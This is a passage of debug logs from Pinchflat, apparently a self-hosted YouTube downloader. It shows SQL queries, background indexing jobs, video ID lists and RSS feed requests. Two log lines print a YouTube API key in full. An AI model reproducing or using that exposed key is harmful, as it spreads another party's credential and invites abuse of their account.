"zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 16:07:43.867 [debug] QUERY OK source="media_items" db=2.1ms idle=85.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:07:43.868 [debug] QUERY OK source="tasks" db=0.1ms idle=87.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799914, 2, ~U[2026-02-10 22:07:43Z], ~U[2026-02-10 22:07:43Z]] 16:07:43.868 [info] {"args":{"id":2},"id":3799875,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":88895,"event":"job:stop","queue_time":439211,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:45.781 [info] {"args":{"id":38},"id":3799876,"meta":{},"system_time":1770761265781615900,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:45.781 [debug] QUERY OK source="sources" db=0.1ms idle=903.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:07:45.782 [debug] QUERY OK source="settings" db=0.2ms idle=903.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:45.782 [debug] QUERY OK source="media_profiles" db=0.1ms idle=904.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:45.782 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:45.782 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:07:45.783 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:45.783 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:46.096 [debug] QUERY OK source="media_items" db=0.6ms idle=313.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 16:07:46.098 [debug] QUERY OK source="media_items" db=1.4ms idle=314.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:07:46.099 [debug] QUERY OK source="tasks" db=0.1ms idle=316.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799915, 38, ~U[2026-02-10 22:07:46Z], ~U[2026-02-10 22:07:46Z]] 16:07:46.099 [info] {"args":{"id":38},"id":3799876,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":317702,"event":"job:stop","queue_time":540948,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:47.784 [info] {"args":{"id":41},"id":3799877,"meta":{},"system_time":1770761267784755471,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:47.785 [debug] QUERY OK source="sources" db=0.1ms idle=1685.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 16:07:47.785 [debug] QUERY OK source="settings" db=0.2ms idle=1679.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:47.785 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:47.785 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:47.786 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 16:07:47.786 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:47.786 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:47.863 [info] GET /sources/b32c7867-dbdf-4e74-abb8-11b0d024b006/feed.xml 16:07:47.863 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "b32c7867-dbdf-4e74-abb8-11b0d024b006"} Pipelines: [:maybe_basic_auth] 16:07:47.863 [info] GET /sources/8c572b0a-32c2-4bbb-9aeb-f5d54afb525d/feed.xml 16:07:47.863 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "8c572b0a-32c2-4bbb-9aeb-f5d54afb525d"} Pipelines: [:maybe_basic_auth] 16:07:47.863 [debug] QUERY OK source="sources" db=0.1ms idle=78.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["b32c7867-dbdf-4e74-abb8-11b0d024b006"] 16:07:47.863 [debug] QUERY OK source="sources" db=0.1ms idle=78.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["8c572b0a-32c2-4bbb-9aeb-f5d54afb525d"] 16:07:47.864 [debug] QUERY OK source="media_items" db=0.3ms idle=78.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [24, 2000] 16:07:47.864 [debug] QUERY OK source="source_metadata" db=0.1ms idle=78.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [24] 16:07:47.864 [info] Sent 200 in 1ms 16:07:47.867 [info] GET /sources/8586e223-fac7-416b-9446-28a22d8d023c/feed.xml 16:07:47.867 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "8586e223-fac7-416b-9446-28a22d8d023c"} Pipelines: [:maybe_basic_auth] 16:07:47.867 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["8586e223-fac7-416b-9446-28a22d8d023c"] 16:07:47.868 [debug] QUERY OK source="media_items" db=1.0ms idle=3.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [14, 2000] 16:07:47.868 [debug] QUERY OK source="source_metadata" db=0.1ms idle=4.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [14] 16:07:47.868 [info] Sent 200 in 1ms 16:07:47.871 [debug] QUERY OK source="media_items" db=7.1ms idle=78.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [34, 2000] 16:07:47.907 [debug] QUERY OK source="source_metadata" db=0.0ms idle=43.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [34] 16:07:47.907 [debug] QUERY OK source="media_metadata" db=0.0ms idle=40.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1526317] 16:07:47.910 [info] Sent 200 in 46ms 16:07:47.929 [debug] QUERY OK source="media_items" db=0.5ms idle=60.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 16:07:47.930 [debug] QUERY OK source="media_items" db=0.5ms idle=61.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 16:07:47.931 [debug] QUERY OK source="tasks" db=0.1ms idle=23.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799916, 41, ~U[2026-02-10 22:07:47Z], ~U[2026-02-10 22:07:47Z]] 16:07:47.931 [info] {"args":{"id":41},"id":3799877,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":146742,"event":"job:stop","queue_time":423963,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:48.199 [info] GET /sources/395dfb31-2159-4757-8e0b-5d8c56c599d3/feed.xml 16:07:48.199 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "395dfb31-2159-4757-8e0b-5d8c56c599d3"} Pipelines: [:maybe_basic_auth] 16:07:48.199 [debug] QUERY OK source="sources" db=0.4ms idle=268.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["395dfb31-2159-4757-8e0b-5d8c56c599d3"] 16:07:48.200 [debug] QUERY OK source="media_items" db=0.5ms idle=268.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [4, 2000] 16:07:48.201 [debug] QUERY OK source="source_metadata" db=0.1ms idle=269.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [4] 16:07:48.201 [debug] QUERY OK source="media_metadata" db=0.0ms idle=269.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564146] 16:07:48.201 [info] Sent 200 in 2ms 16:07:48.353 [info] GET /sources/72002b34-c043-42e8-84e7-d0b43eaebbef/feed.xml 16:07:48.353 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "72002b34-c043-42e8-84e7-d0b43eaebbef"} Pipelines: [:maybe_basic_auth] 16:07:48.353 [debug] QUERY OK source="sources" db=0.1ms idle=415.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["72002b34-c043-42e8-84e7-d0b43eaebbef"] 16:07:48.357 [debug] QUERY OK source="media_items" db=3.0ms idle=154.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [7, 2000] 16:07:48.367 [debug] QUERY OK source="source_metadata" db=0.0ms idle=167.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [7] 16:07:48.368 [debug] QUERY OK source="media_metadata" db=0.0ms idle=166.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563684] 16:07:48.368 [info] Sent 200 in 15ms 16:07:48.786 [info] {"args":{"id":5},"id":3799878,"meta":{},"system_time":1770761268786774182,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:48.787 [debug] QUERY OK source="sources" db=0.4ms idle=429.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", 